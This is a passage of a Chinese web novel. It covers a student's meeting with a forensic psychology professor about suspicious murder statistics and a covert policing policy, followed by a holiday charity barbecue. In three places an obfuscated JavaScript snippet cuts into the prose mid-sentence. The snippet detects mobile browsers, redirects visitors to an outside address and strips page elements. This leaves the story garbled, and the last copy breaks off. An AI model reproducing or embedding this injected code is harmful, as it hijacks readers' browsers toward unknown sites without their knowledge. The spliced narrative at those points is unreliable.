在那梦幻的一天过去以后,沉重的现实紧随而至。云决明必须一遍又一遍地告诫自己这句话,告诫自己艾登只是把他当成了最好的朋友,最铁的兄弟——男人往往都愿意为自己好弟兄两肋插刀,出生入死,赴汤蹈火,在所不辞,然而这跟爱没什么关系。艾登是直男,艾登有二十七任女朋友,更重要的是——云决明一想起这件事就心酸不已——艾登也已经准备好了要跟下一个女孩开始一段严肃的,可能最终谈婚论嫁的关系,他现在难得长久的单身,只不过是在等待着将来一辈子的山盟海誓罢了。 在某种意义上,他的确很庆幸艾登与家人的度假,距离让他得以维持自己的平淡,也足以让被艾登那一舔刺激得火烧火燎的脑子冷却下来,虽说这意味着他不得不忍受一个多月的相思之苦,云决明觉得倒也值得。 正刷着牙,艾登的第六条消息来了。 “你在干嘛?” “刷牙。”云决明单手打字,半天才把消息发出去。 “你最近回复得好慢。”艾登的控诉接踵而至,委屈程度和此刻正在厕所外挠门的洛克希不相上下,“你是不是偷偷在那边开始约会女孩了?” 约会女孩?艾登哪来的这种疯狂念头?云决明摇了摇头,“没,”他费力地点着屏幕,尽力节省字眼,“学习忙。” “我只是想说,你一个人待在一栋漂亮的大公寓里,还有洛克希这么一个绝妙的搭讪话题,想把女孩子带过去显摆一番也是难免的。我对此一点意见都没有(大写),不过还是希望你能跟我说一声。” 一秒钟以后,艾登的回复就来了,简直就像他早就打好了一番话,就等着点发送似的。云决明皱了皱眉头,“没有,”他再重复了一遍,甚至为此关掉了电动牙刷,好好用双手打字,“我不会带女生回来的。” “好吧。”不知怎么地,这个简单的词在云决明脑海里以艾登的声音念出来时,语气是带了点不相信的。 “你怎么起的这么早?”他决定换个话题。 “想趁着酒店健身房没什么人的时候去锻炼一会,不然回来会跟不上队伍的训练强度。” “我该准备出门溜洛克希了。”放好牙刷,云决明一边仔仔细细地用毛巾把洗手台上溅出的水渍擦干净,一边打着字,“再不走,我一会去上课该迟到了。” “好吧,”这回,艾登在他脑子里听上去又变得委屈了,“一会聊。” “一会聊。” 也许是因为夏天到了的缘故,狗狗公园里多了不少青少年,大多数都是养宠物的三分钟热度过去以后,被父母逼着带狗出来玩的孩子,他们根本不管自己的宠物,躲在公园角落里抽烟——或者说,云决明希望他们抽的是烟——喝酒,肆无忌惮地骂着脏话,云决明为了避开他们,已经缩短了好几次洛克希的散步时间。还好,这般年轻人倒没有早起的好习惯,因此他让洛克希在草地上好好地跑了一个多小时,才把它带回家。 “我今天会晚一点回来,”他抓挠着洛克希的耳朵,柔声对它说。艾登不在家,让云决明养成了和大狗说话的习惯,洛克希其实是个极佳的聆听伙伴,它那双湿漉漉的黑眼睛永远饱含同情与关爱,而且它不会批判,也不会责难,“你得好好看家,知道吗?” 大狗呜咽了一声,云决明觉得它是在问为什么。 “我跟索夫科瓦斯基教授约了时间见面,她的著作给了我很大的启发。”他解释道,“你还记得索夫科瓦斯基教授的,对不对?她是艾登的法医心理学教授。” 洛克希只是委屈巴巴地看着他。 “我不知道要讲到多晚——这就是为什么我稍稍给你喂多了一点罐头的原因,我要向她咨询一些与案件有关的问题,这也是为了艾登的理想在努力,你能理解的,对吗?” 洛克希在喉头嘟囔了一句,通常这都表示它听懂了。 几个小时以后,云决明准时抵达了索夫科瓦斯基教授的办公室,木门大敞着,这个面容严厉,夹灰长发一丝不苟地在脑后梳成发髻的教授正聚精会神地阅读着桌上的作业,他敲门时,对方头都没抬一下,只喊了一声“请进!” “教授,早上好。” 云决明有点拘谨地在座位上坐下,他很庆幸办公室的门开着,外面走廊上时不时就会经过一个拿着文件,脚步匆匆的员工,这会让他安心不少。自从那件事以后,他就天然对办公室这种地方怀着既恐惧又厌恶的心情。 “啊,是你,Yong-chue-ming,对吗?”索夫科瓦斯基教授总算抬头了,费力地想要把云决明的名字说对。“叫我Ming就好,教授。”他赶忙替她免去了可能咬到舌头的隐患,“很高兴您愿意见我。” “这没什么的,”索夫科瓦斯基教授放下了手里的论文,向后靠在椅子上,“反正这个夏天我也就只上一节课,教的还是初级课程。到现在为止,还没有一个学生在我的办公时间来拜访我呢,所以我今天给你留出的余裕十分充足,说吧,孩子,你想问我什么?” 云决明犹豫了一会该怎么开口。 “您知道我将专业换成心理学了吗?” “我怎么会知道这种事,”像是觉得这个问题很蠢,索夫科瓦斯基教授笑了起来,皱纹让她那种富有威慑力,让人一看就想起麦格教授的脸温和了不少,“不过,我很高兴听到这个消息。恭喜你,Ming,我必须说,心理学比任何专业都更要适合你,你确实有天赋——我很少对学生这么说,因为我不希望他们认为自己有天赋就变得骄傲自大,目中无人起来,或者偏执地觉得自己不再需要学校的教育。” “我认为我还有许多要学的,”云决明马上回答,“这就是为什么我写邮件请求跟您见面。” “如果你是想问问能不能在下学期插进我的犯罪心理学课堂——” “不,不是那个,”云决明赶忙摇头,“您别担心,我已经登记了您的课程了,我来是因为另外一件事。” 他从书包里拿出了一沓打印好的图表,递给了对方。 “这是什么?”索夫科瓦斯基教授皱了皱眉头,把它们依次摊开放在桌子上,“约州谋杀数量统计表?” “这——是我法医心理学课上的课题,”云决明说出了早就想好的谎言,“我误解了教授的意思,以为他要我拿到真实的谋杀统计数据,因此我通过艾登·维尔兰德的关系,从当地警察局手里拿到了汇总。” “艾登·维尔兰德?噢,我知道了,你是通过他,找上了杰森·埃弗里,是不是?说来也巧,我和他父亲是一块在C大念的研究生,只是从来没认识过。老实说,他会搬来这儿住,还让我奇怪了好久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041217|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” 索夫科瓦斯基教授没细说她为何会觉得奇怪,但她那微妙的语气让云决明意识到这可能跟杰森父亲是个不折不扣的极端种族主义者的传言有关。约州不是典型的白人州,种族分布十分多元化,不太可能是杰森父亲这种人喜欢待的地方。 “是的,就是通过他。” “你对这个课题倒是很上心啊。”索夫科瓦斯基教授锐利的视线盯住了他。她可能不会相信自己的谎言,这点云决明也预料到了,但只要表面上的理由挑不出什么不是,索夫科瓦斯基教授也就没有理由拒绝回答他的问题。 “是的,我很看重成绩,因为我需要拿到全A才能维持我的全额奖学金,”云决明对答如流,“就如我所说的,为了这个课题,我分析了约州的谋杀案数据,与此同时,我又刚好在读您所写的有关连环杀手的著作——”其实他是前段时间才读完的,“因此我注意到了一些不同寻常的地方。” “你说。” “在您的著作《谋杀与社会》一书中,您提到过,从一个国家,甚至是一个地区的谋杀案数据分析,就能够准确无误地得到当地社会的一切信息——即便在此之前人们对这个国家或地区一无所知。‘杀戮,永远是人类最诚实的行为’,您这么写着,‘倘若从数据中无法还原当地的信息,或者有所出入,那并不是杀手犯了错,而是当地的警察犯了错,他们要么错误地记录了被害人的族裔,要么就是基本忽略白人以外的一切犯罪行为。’您还提到,像在维吉尼亚州这种地方,白人成为凶手的概率要比黑人成为凶手的概率高得多,不仅因为跨种族的谋杀很少发生,还因为法官会给少数族裔更严厉的惩罚。同时,该州的历年由哪边政党所把控,也会影响谋杀案的发生和记录。” “不错,你把我的书看的很透。” “对于族裔多元化的州可能会出现的情形,您用的是加利福尼亚州作为例子——不过,我个人认为,加利福尼亚州,就跟纽约一样,属于美国这个所谓大熔炉中的特殊环境,因为这两个地区才真的是货真价实的熔炉,不同种族的文化,信仰,语言,都得到远比别处多得多的包容。像约州这种表面看似多元化的州,实际上就跟一锅炖菜一样,煮出来以后,胡萝卜还是胡萝卜,羊肉还是羊肉,西葫芦还是西葫芦,虽然味道变得一样了,但还是彼此不相容。” “我承认加州不是最好的例子,但加州是个最容易被人们接受的例子。”索夫科瓦斯基教授解释道,“谁都知道加州的情况,很少有人能代入一个自己只听过名字,然而对其详情一无所知的州来理解我想要说明的内容。” “但我这么做了,我把您的给出的理论,您给出的计算模型及参考数据,都应用在了约州真实的谋杀案统计数据上——然而我得出的结论完全与约州现状不符——这只能说明约州当地的警察都犯了一个大错,是吗?” “这要看你是怎么应用的了,”索夫科瓦斯基教授的语气很谨慎,显然不相信一个学生——刚刚转到心理学开始学习的大一学生——凭借着她著作中的几页纸,就能找到一个州的警察所犯下的大错,“让我听听你的理论。” “您在您的书中说过,在一个多元化的环境下,黑人被谋杀的概率和白人被谋杀的概率会因为该地区的多元化程度而缩小差异,甚至可以从最高的六倍缩小到两倍至三倍的差距。因为一个多元化的地区能给少数族裔提供更多的就业机会,一个更宽松的婚姻环境,以及更好的教育机会——这都是能降低黑人及少数族裔被谋杀的要素,而白人的谋杀率——往往与该地区的持枪率及治安率有关,而不是与环境有关。” “继续。” “约州的多元化虽然比不上加州,但是从人口组成的比例上来说,至少也能排进前五,约州黑人的数量是最多的,其次是拉丁裔,接着才是白人,随后是爱尔兰裔与德裔,及其他欧洲地区的移民后代,包括犹太裔,最后才是亚裔。这种分布,应该符合您对多元化环境的理论,即少数族裔的被谋杀数量与白人的被谋杀数量差距不大。” “我的理论实际上更接近于一种假想,因为美国每个州的情况都太不一样了。但是,我的确认可你得出的结论,”索夫科瓦斯基教授点了点头,“约州内黑人的被谋杀数应该排在第一,其次是白人——” “而这就是我发觉不对的地方。”云决明指了指其中一张图纸,“从1987年开始,白人的平均被谋杀率就掉到了第四位,1995年后,第五位,2003年以后,第六位。这个数据一直到2010年,才开始逐步回升。在此期间,约州平均每年被谋杀最多的是黑人,每十万人中有三十七名;其次是拉丁裔,有三十二名,接着,就是亚裔——这个几乎很少在谋杀案中占据一角的群体,有十七名,紧随其后的欧洲移民后裔只比亚裔少一个,最后才是白人,平均十五人。” “你的意思是说,”索夫科瓦斯基教授扬起了眉毛,“从1987年到2010年间,约州的少数族裔被谋杀数上升到了一个并不正常的区间,才将原本可以排到第二的白人种群一下子挤到了排名的末尾?” “是的。”云决明干脆地回答,没有说更多的话。如果他只是为了一个课题而做出调查的话,走到这一步已经是极限了,不能再继续得出约州可能潜伏着一个专杀少数族裔的连环杀人犯的结论。 “那么,我就必须指出一项你没有加入计算过程,然而又对结果影响深远的要素了。” “您请说。” “1987年至2010年,”索夫科瓦斯基教授意味深长地说道,“正好是科尔·埃弗里担任约州洲际警察局局长的任期。” (没看懂云决明所提出的理论的读者,请打开作者有话说或看评论) 41. Chapter·Nineteen 一时间,云决明愣在当场。 “当然,我并不是在暗示科尔·埃弗里跟这些不正常的谋杀案数量有什么直接的关系,”索夫科瓦斯基教授不慌不忙地继续说了下去,“我只是说,他作为洲际警察的老大,他的某些观念会影响不少县警察局长——你知道911紧急报警电话的平均响应时间如果迟上几分钟,会有什么后果吗?” 云决明摇了摇头,“您的书里没有提到这一点。” “因为没人敢在现实中试验这一点,孩子,那倒不是因为政客或警察担心会有多少人因此而去世,而是因为这是直接与选票及民意挂钩的指标,一个警察局局长,即便他在任期间什么政绩都没做出,只要他宣称自己把紧急出警时间缩短了三十几秒,也一样能得到选民的热烈鼓掌,甚至有可能就借此走上政途,我自己就见识过几个这样的例子。如果你对这部分课题感兴趣,Ming,我强烈建议你选修政治科学专业,对你的帮助会很大。” “但这跟我调查到的异常数据,还有杰森的父亲有什么关系吗?”云决明有些迷惑,他能听的出来索夫科瓦斯基教授似乎极力想暗示他些什么,但他没有办法把极端种族主义,紧急报警电话的响应时间,还有政绩这几个关键词组合起来,并得到答案。 要是艾登在这里,多半就能听懂。他有点懊悔地想到这一点。 “唉,”索夫科瓦斯基教授叹了一口气,“孩子,你对美国政治一窍不通,是不是?” “是的。”云决明干脆地承认了,他五年前就拿到美国国籍了,然而至今对公民义务一无所知,也从没参加过投票选举。加入美国国籍是母亲执意的要求,云决明没有反对的余地。但这件事一直是他心中隐隐的一道伤痛,仿佛被人为切断了与祖国之间联系的脐带,他实在难以接受自己法律上已经不再是中国人了这个事实。 “亚裔移民的通病,”索夫科瓦斯基教授摇了摇头,她显得有些失望,“你们一边抱怨美国人不让你们在政坛上占有一席之地,然而你们之中却没几个愿意真正研究美国政治,这不是自相矛盾吗——抱歉,我跑题了。” “没事,教授。” 但接下来的几秒,索夫科瓦斯基教授却似乎陷入了沉思,那双机敏的灰绿眸子一瞬不瞬地盯着云决明,不知道是不是后悔在他面前说了适才的那几句稍嫌尖锐的评价。云决明还在思量这件事,就听见对方突然开口了。 “你不会去跟人事部举报我吧?”她眯起了眼睛,“告诉他们我说了一些超出教授身份范畴的话?” “当然不会,”他吃了一惊,赶紧换上了自己最真诚的语气,“我向您发誓——” “不用弄得那么严肃,”索夫科瓦斯基教授挥了挥手,“你是个亚洲人,你们天生就不会玩举报的游戏,我刚才只是想跟你开个玩笑。好了,让我把门关上——人事部也许不会把一个中国移民学生的投诉放在心上,但被别人听到,我可就保不住我的饭碗了。” 她站起身,一瘸一拐地走过去将门关上了,云决明觉得嗓子登时紧了起来,但他设法将控制不住发起抖来的双手藏在了办公桌底下,尽力维持着自己礼貌的微笑,注视着索夫科瓦斯基教授挪动着她不怎么利索的髋关节,重又坐回办公桌后面。 “你想知道科尔·埃弗里为什么会与那些不正常的数据联系到一块,是吧?” “是的,教授,请您解释给我听。” “我很乐意解释——但我不希望我的名字出现在任何书面材料上,不管你到底要用这些数据做什么,你大可以把我的解释据为己有,向全世界宣布那是你的主意,或者你是从一条狗那儿得到的启示,我都无所谓。” 索夫科瓦斯基教授的目光越发锐利了起来,云决明有种预感,她已经猜出了自己调查这些数据是为了艾登父亲的谋杀案,甚至有可能是看在这一点上才愿意告诉他接下来的那些话。 “我知道你对美国政治环境一窍不通,我们也没有时间当场上一节初级政治课,但我还是可以为你稍稍解释一下约州的现状,等我解释完以后,你就会对那些谋杀的数据有一个更加直观的认识。” “洗耳恭听,教授。” “约州是深蓝州,并非摇摆州,除了意味着这儿基本等于民主党的票仓以外,约州的观念也很开放,先进——或者说至少表面如此。2013年,加利福尼亚州的同性婚姻合法化以后,U大的统计学部门,心理学部门,还有社会学部门好几个教授联合起来,做了一次大型的意向调查——你可以在图书馆找到他们当时发表的论文——结果显示约州接近一半的居民都赞成同性婚姻合法,有百分之六十以上的居民认为孕晚期堕胎应取决于个人选择而非法律规定,这两点就已经能体现出约州居民观念的整体状况。 “同时,约州还很富有。我们拥有全美最多的州人均百万富翁人数,占总家庭的9%——当然,这其中绝大部分都是白人,相信你应该能预料到这一点。 “所有这一切加起来,都让约州看起来是个非常美好的地方,公立教育全美质量第一,人均GDP数一数二,得益于我们严格的禁枪举措,全州的犯罪率都低得令人发指。但这些是有代价的,Ming。在1980年以前,约州的治安差得令人发指,在纽约无处安身的流浪汉,逃离的罪犯,贫穷的移民,全都跑来约州安了家。连续好几年,约州都被评为“最危险,最不适宜居住”的州,谋杀率在全国名列前茅,全国排名前十的犯罪之城,有五个都在约州。 “代价就是,从1980年以后,州政府不动声色地将几乎占全州50%人口的黑人,拉丁裔,还有部分欧洲移民,都逼迫到几个集中的地区生活。当然了,在约州这么一个多元化,又看似非常讲究政治正确的民主党大本营之一的地方,我们不会像维吉尼亚州或者是新罕布什尔州那样搞□□主义,我们策略要更加优雅卑鄙一些。当地政府会在距离黑人聚集区不远不近的地方新建漂亮的社区,公园,公立学校,大型商场,无形中把这个地区的房产税和房租提升了一大截,逼得那些负担不起的黑人搬到别处去居住。渐渐地,这就像把灰尘藏到地毯下一样,约州成了如今表面光鲜亮丽的模样,没人关心地毯下的虱子过的是怎样的日子,这其中就包括约州的警察。 “你知道是谁向约州曾经的州长提出了这个建议,并借着这一点让上一任州长的政绩无比光辉,令他后来成功当上了参议员?” 这一次,就算是再蠢的人也知道索夫科瓦斯基教授暗示的是谁,云决明倒吸一口冷气,原本因为对方关上办公室门而带来的不适在这一刻彻底消失,“您是怎么知道这些的?”他压低了声音,不敢置信地问道。 “为了写我的书,我还是做了一点研究的。”索夫科瓦斯基教授苦笑了起来,“我原本打算整本书都以约州为例子,来说明谋杀案是如何深刻的影响并塑形着我们所身处的社会。然而,考虑到我仍然要在这儿生活,工作,我的家人和孩子都在这儿,我舍弃了所有与约州有关的草稿部分,替换成了加州。” 这句话让云决明有了某种微妙的感觉,却又一时之间没法抓住。 “约州在那段时间少数族裔的被谋杀数异常上升,跟这个暗中执行的政策是分不开的,快速增长的经济指数背后藏着少数族裔连年暴跌的平均收入指数,逐年攀升的失业率,而我们都知道经济是诱发谋杀的第一大因素。” “但这个政策暗中执行的速度不可能很迅速,”云决明脱口而出,“从1987年到2010年,大部分时候,约州的少数族裔应该都还处于分散的状况。我知道经济与谋杀之间的联系非常紧密,但它不可能是唯一的原因吧?” “这就是我的老同学,科尔·埃弗里该上场的时刻了。首先,你得明白一点,既然科尔和州长的目的是要缓慢而且有意识地将少数族裔赶到低收入的地区生活,他们也就不会再在乎他们的选票了。其次,就像我说的,科尔·埃弗里的态度会影响其他的警察。” 她顿了顿,看见云决明仍然有些不理解的神色,温和地笑了笑。 “你看了我的书,那你能说出谋杀案的主要成因有哪些?” “过失杀人,意外致死,激情杀人。”云决明立刻回答。 “没错,有规划的谋杀其实很少发生,大部分时候都是一时兴起,这其中,最容易引发谋杀案的有入室抢劫,家暴,以及争执——你看出来了吗,这些都是如果警方迅速响应,就能避免最坏结果的起因。” 云决明这才恍然大悟。 “想想看,如果你的上司告诉你,根本不必去理会那些发生在黑人家庭里的家暴案件,因为数据显示95%的黑人女性都不会离开她的丈夫或男友,因为她们受教育程度低,因为她们负担不起避孕措施,有了孩子就更不可能离开,因为黑人重视传统的家庭观念,迫于压力女性也会留在丈夫身边。他轻描淡写的语气暗示你可以把精力放在别的案件上——别的能够帮助你升迁,能帮助你快速积累资质的案件上。这么一来,你会怎么做呢?下一次,你接到一个黑人女性哭得上气不接下气,充满恐惧的报警电话,你还会派巡警去查看情况吗?” 云决明呆呆地坐在椅子上,全身僵硬,手脚冰冷。他原本是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041218|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来打听这些数据异常是否意味着有一个专杀少数族裔的连环杀手潜藏在约州,然而现实证明他太天真,瞧见一点影子就以为遇见了大鱼,殊不知那只是海面下巨大冰山不经意间显露的一角。 “你是个非常敏锐的孩子,而且非常聪明。”索夫科瓦斯基教授注视着他,目光如炬,语气极为严肃,“这些事情,即便我不告诉你,凭借你自己的头脑和毅力,要查出来也是早晚的事情——这是我为什么要把这些事情告诉你的主要原因,与其让你在这个过程中冒冒失失地给自己惹来一些不必要的麻烦,还不如让我直接给你你所需要的消息。” 麻烦?那种微妙的感觉又出现了,但云决明没时间细想。 “正因为你很聪明,因此我连接下来的话也一并说了。Ming,你还是个学生——一个孩子,刚刚成年,你不应该把精力放在任何除了学习,除了你的人生抱负,除了你这个年龄应该做的一切以外的事物上。不管你正在研究的这个‘课题’是什么,我与你的这场谈话,就是你调查的终点了。木已成舟,这个政策所带来的后果已经既成定数,没有任何人能改变,继续在这条路上追查下去,只会给你自己带来不必要的负担。好奇心能杀死猫,也能杀死人,孩子,听我一句。” 等等,这不对。 云决明突然灵光一现。 如果索夫科瓦斯基教授以为自己要追查的是艾登父亲的谋杀案,她为何要用警告意味这么重的话语告诫自己?倘若说在追查过程中,他可能会从这些数据里找出杰森父亲当年不光彩的一些政治丑闻,索夫科瓦斯基教授也应该能看出他不会随便把这些事到处宣扬,更不会试图用来为自己谋取什么利益,何况,这也和他本来目的不相符。 如果说她并不担心自己会查出杰森父亲的丑闻,那她担忧的是什么? “那我就期待着下学期在课堂上见到你了,Ming。” 他还在苦苦思索着这件事,没想到教授已经开口下逐客令了,云决明只好无可奈何地站起身,就在他即将打算祝对方有愉快的一天,以此作为告别的时候,他的另一个念头抢先一步,插进了喉咙的队伍,云决明毫无防备地就这么说了出口—— “您觉得,这些数据的背后,是否也可以证明有一个连环杀手躲藏在约州,一直没有被警方发觉呢?” “连环杀手?”索夫科瓦斯基教授惊讶地挑了挑眉,“你的想法很独特。” “您觉得有这种可能吗?”既然都问了,云决明也就说了下去,“我也只是突然有了这个想法。” “我不会排除这个可能性,”索夫科瓦斯基教授沉吟了几秒,“但是把这一点和一个连环杀手联系起来,其实很牵强。少数族裔是个非常广泛的观念,我们都知道连环杀手很少跨种族作案,因此,如果你想证明约州有个连环杀手,你首先得找到对方狩猎的种族范围,年龄范围,性别选择,类型选择,等等——如果我是你,我就会先把所有的潜在受害者进行尽可能细的归类,从中筛选共同点最多的对象,如果你想找的是一个有着非常明确喜好的连环杀手,他就一定会在受害者中留下痕迹。” “谢谢您,教授,您的建议很有用。” “你真的只是刚刚想到了连环杀手这个主意吗?” 云决明本可以继续欺瞒,他已经在与继父和秦诗的先后相处中将撒谎不眨眼的功夫练得炉火纯青,但这一刻他突然厌倦了这么做,“不是,”他诚恳地承认了,“我从一开始就想从您的口中打听这件事,收集数据也是为了这件事。” “那就好,”他似乎感到索夫科瓦斯基教授悄悄地松了一口气,“不到最后有明确的证据排除这个可能性,Ming,不必随便就否定你的想法,即便这两者之间的逻辑联系很微弱,但有许多案件都是由看似微弱无比的关系千丝万缕地拼接而成的。有句老话是我的教授经常说的,‘不到证据说话,不要排除任何可能性’。” “我会记住的,教授,谢谢您。” “不客气,Ming,出去的时候不必关门,就开着好了。” 他点点头,祝教授有个愉快的一天,就打开办公室木门离开了。来到走廊上,云决明掏出手机一看,发现已经是下午四点了,他和索夫科瓦斯基教授整整聊了两个多小时,现在他得连忙赶回去溜洛克希,它一定在家里等急了。 云决明的目光微微下移,随即便滞住了。 在时间的下面,显示着一条未读消息,开头是一个最没可能在此时联系他的名字—— “我是黎疏眠,请你有空的时候给我回一个电话,非常感谢。” 42. Chapter·Twenty 白色本田在福利院前缓缓停住。 副会长——现在要称呼她为会长了——正站在柏油车道上,指挥着几个工人将车厢里一箱箱的货物搬运下来。她今天的穿着很休闲,一条黑色的长裤,一双添柏岚的马丁靴,以及一件简单的浅灰色T恤。头发扎成一个马尾,微微在脑后垂荡,细细的两只胳膊叉在腰上,在日光下显得格外白皙,十分扎眼。 默默透过车窗打量她,云决明心里突然冒出了一个荒唐的念头。 他还能对女孩子产生感觉吗?还是说,从此以后让他心弦为之颤动的,就只能是健壮的胸肌与结实的大腿? 他轻轻按了按喇叭,黎疏眠回过头,明朗的笑意从嘴角扩散至整个五官,她冲他招了招手,大踏步地向车子走来。 也许是因为今天要与福利院的儿童一起庆祝国庆节的缘故,她未施粉黛,一张脸素净无比地出现在车窗旁,巧笑倩兮。“早啊。”她欢快地说道,“你来得比我预计的还要早呢。” “我可以停在这儿吗?” “这条街道上不允许停车,”黎疏眠伸手指了指街道尽头,“但是你可以一路开下去,然后右转。那里有个公园,福利院的负责人说志愿者的车可以都停到公园前的停车场里。” “好。” “谢谢你愿意来帮忙,云决明,”她的手搭在车窗边,云决明强迫自己注意到她如青葱般修长的手指,还有修剪得整整齐齐的指甲,想象这双手握起来该会有多么柔软顺滑,但他的心脏仍然只是懒洋洋的在胸腔里鼓动着,不为所动,“多亏你答应了来帮忙,不然,我真不知道今天该怎么办了。” “小事一桩,不必挂心。”他低声回答。 昨天,他一直等到晚上八点多才回拨了会长的电话。到了那时候,他已经吃了饭,遛了洛克希,家务也都做完了,再也没有借口拖延这通电话,云决明才不情愿地点进了那条消息,原路拨通发信人的号码——他不停地劝说自己,让自己相信此刻心中的不快全是为着不得不给黎疏眠回电话的缘故,他和她又不熟,由此会产生社交压力也很正常,绝对与她是艾登的前女友,或者她是艾登唯一一个主动追求过的女孩这些原因无关。 电话几乎是立刻就接通了,黎疏眠的声音就像溺水的人突然瞧见救生艇一样兴奋,“我就直说了——因为我已经绝望了,”寒暄了两句,她立刻就切入了正题,“如果明天你能来福利院担任志愿者——荣誉协会每年都要在国庆节举办的慈善活动,记得吗——那就帮了我大忙了。第二天就要准备上百个烤热狗,牛扒,烤鸡,在这个节骨眼上却有六个志愿者跟我说他们更愿意和自己的家人一起庆祝国庆节,他们之前没想清楚这件事,就这么直接退出了。你是最后一个回复我消息的人,如果连你都拒绝我了,那我可能就得去墨西哥社区挥舞着一沓钞票,带着一批水泥匠和修车工去给那些孤苦伶仃的孩子们烧烤了。” “好吧。”在当时的那种情形下,云决明也说不出拒绝的话。 把车停好——云决明不禁注意黎疏眠的白色丰田旁停着一辆极其张扬的保时捷宝石蓝跑车,虽说他对汽车一窍不通,却也不妨碍他欣赏那辆两座跑车优雅而充满野性的线条,大概每个男人心中都藏着一个浪漫的跑车梦。走出停车场时,云决明还恋恋不舍地回望了几眼。大概是属于某个志愿者的吧,他漫不经心地想着,要么就是哪个住在这附近的有钱人来公园锻炼了。 裤兜里的手机突然震动了一下,云决明掏出来一看,不出所料,是艾登。 “国庆节快乐,Ming!” “今天迪士尼公园会有非常盛大的烟花秀,我真是迫不及待想把全程都拍下来,好等回来以后跟你一起看。” “我们今天下午会去酒店专门辟出的区域烧烤,爷爷特别兴奋,这是他唯一能下厨的机会,奶奶嫌弃美国的烤肉炉子太烟熏火燎,因此把活都推给他干。” “你呢?今天有什么计划?” “容我提醒你一句,我已经预先买好了无碳电子烤肉炉子,就在阳台上。我们的公寓是允许用电子烤炉烧烤的,因此,要是你想稍稍遵循一点美国的传统的话,炉子就在那儿等着你噢。” 短信一条接一条,光是从语气上都能感受到艾登对这个节日的喜爱。云决明一边走向福利院,一边回复着。 “我现在跟疏眠在一起。” “她临时请我来给荣誉协会主办的慈善项目当志愿者,”下一条短信才打了一半,云决明不经意地一抬头,登时吓得差点把手机丢出去——只见杰森·埃弗里板着一张脸,面无表情地从卡车上抬下一箱打着“腌制嫩鸡”标签的纸箱,向福利院的后头走去。顾不得继续跟艾登发短信,云决明把手机往裤兜里一揣,几步赶到正在核对送货单的黎疏眠身边,“他怎么在这儿?”他压低了声音,用中文问道。 “你是想问杰森·埃弗里为什么在这儿吧。”会长头也没抬,冷淡的语气显而易见地表明了她在这件事上的态度,“荣誉协会的顾问把他找来的,他们似乎认为有这么一个橄榄球明星的到场,能够激励其中的一些失足少年重新振作起来,甚至是在体育事业中找到自己的人生新目标。通常来说,他们会把艾登派过来,但是……” “艾登去度假了。” 黎疏眠冷哼了一声,“他们还不如把德国皇帝威廉二世送过来呢,他的态度可能还会好些。” “就不能临时从橄榄球队里再找一个队员吗?”云决明小声提议道,“我可以问艾登要他们的电话。” “太迟了,”黎疏眠摇了摇头,“这可是国庆节,你觉得会有多少个橄榄球队员愿意放弃跟自己的家人一块吃烧烤,放烟花的机会,跑来福利院当免费苦力?” “至少他还愿意搬东西,”他们说话的功夫,杰森又冷峻了一张脸从后头走出,再度搬了一箱烤鸡回去,全程目不斜视,就当自己根本看不见旁边站着的两个中国人,“起码说明他还不想把面子撕破。” “杰森又不是傻子,”黎疏眠轻笑一声,“下午还会有记者过来拍照。U大橄榄球队的队长亲自来福利院做慈善,以身作则鼓励青少年追逐体育之梦,这是一则多好的新闻啊,能为他的履历增添不少光彩——好了,先不说这些了,我们还有好多事情要做呢。” 黎疏眠没开玩笑,除了她和云决明以外,就只有两名志愿者露面了,还支支吾吾地向会长打听着自己什么时候能回去。四个人准备一百多人的烧烤分量,简直是这个世界上最不可能完成的任务。接下来的几个小时里,云决明一直在不停地拆开箱子,将腌制好的食品放在临时运来的几个冰柜里;分装盐,胡椒,番茄酱,芥末酱,烧烤酱,还有布法罗辣酱;切腌黄瓜,生菜,小番茄,洋葱,芹菜;成打的纸盘子,塑料叉子,餐巾纸需要拆开并放在摆出的长桌上;柠檬水得预先做好并冻在冰箱里,连同一瓶瓶的可乐,雪碧,及柠檬红茶;过一会,又要把整鸡和肋排拿出来解冻了,烤炉也得先预热—— 就在他们四个人汗流浃背地在大太阳下跑来跑去忙活着这一切的同时,公园就紧挨着福利院的后院,透过栅栏,云决明能瞧见不远处的情形——那辆宝石蓝保时捷跑车属于谁简直一目了然,它的主人正舒舒服服地站在树荫下,被一大群男孩包围着,似乎正在教他们如何传球。也许是他的错觉,但是云决明注意到杰森经常抬起头,装作不经意的模样,使劲瞧着他们这边的情形。难道他是担心自己和疏眠会在他的食物里下毒吗?云决明纳闷地想到。 直到前期的准备工作已经完成,可以开始烧烤以后,云决明,黎疏眠,还有另外两个志愿者才能稍稍松一口气,从繁重的工作中解脱出来,可以一直待在遮阳伞下面,只要时不时打开炉子看一眼正在烤的食物就好。由于午后的日光直射过于猛烈,福利院的工作人员担心会有孩子中暑,便让杰森领着那些男孩回来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 